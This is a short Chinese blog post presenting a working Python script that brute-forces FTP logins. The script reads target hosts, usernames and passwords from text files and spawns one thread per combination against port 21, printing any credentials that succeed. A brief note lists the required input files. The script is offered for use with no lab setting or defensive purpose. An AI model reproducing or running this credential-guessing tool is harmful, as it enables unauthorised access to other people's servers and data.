Python多线程暴力破解FTP

blog 327
#coding=utf-8
# 引入ftplib模块
import ftplib
# 从threading模块中引入Thread     多线程模块
from threading import Thread

# 定义一个暴力破解的函数
def ftpLogin(host,port,username,password):
    ftp = ftplib.FTP()
    try:
        # connect(主机,端口,超时时间)
        ftp.connect(host,port,1)
        # login(用户名,密码)
        ftp.login(username,password)
        # 登录成功之后执行list命令
        ftp.retrlines('list')
        # 退出登录
        ftp.quit()
        # 输出它的主机地址和登录成功地用户名和密码
        print('Ftp Login Success! ' + "host: " + host + "\t" + "username: " +  username + '\t' +  "password: " + password)
    except ftplib.all_errors:
        pass
# 打开存放目标主机的文件
host = open('host.txt')
# 遍历这个文件地内容
for host_Line in host:
    # 以回车进行分割
    host = host_Line.strip('\n')
    print("Cracking: "+ host + " ")
    # 打开用户名字典
    user = open('user.txt')
    # 同上
    for user_Line in user:
        user = user_Line.strip('\n')
        pwd = open('pass.txt','r')
        for pass_Line in pwd:
            pwd = pass_Line.strip('\n')
            # 定义多线程。target用于多线程在ftpLogin这个函数上。
            # args为函数的参数即形参
            t = Thread(target=ftpLogin,args=(host,'21',user,pwd))
            t.start()  # 启动多线程
Python多线程暴力破解FTP

在本脚本中需要三个文件。即host.txtuser.txt以及pass.txt

host.txt 对应主机IP

user.txt 对应用户字典

pass.txt 对应密码字典

Python ftplib 模块的使用

Python多线程暴力破解FTP
Python多线程暴力破解FTP
Python多线程暴力破解FTP
Python多线程暴力破解FTP

分享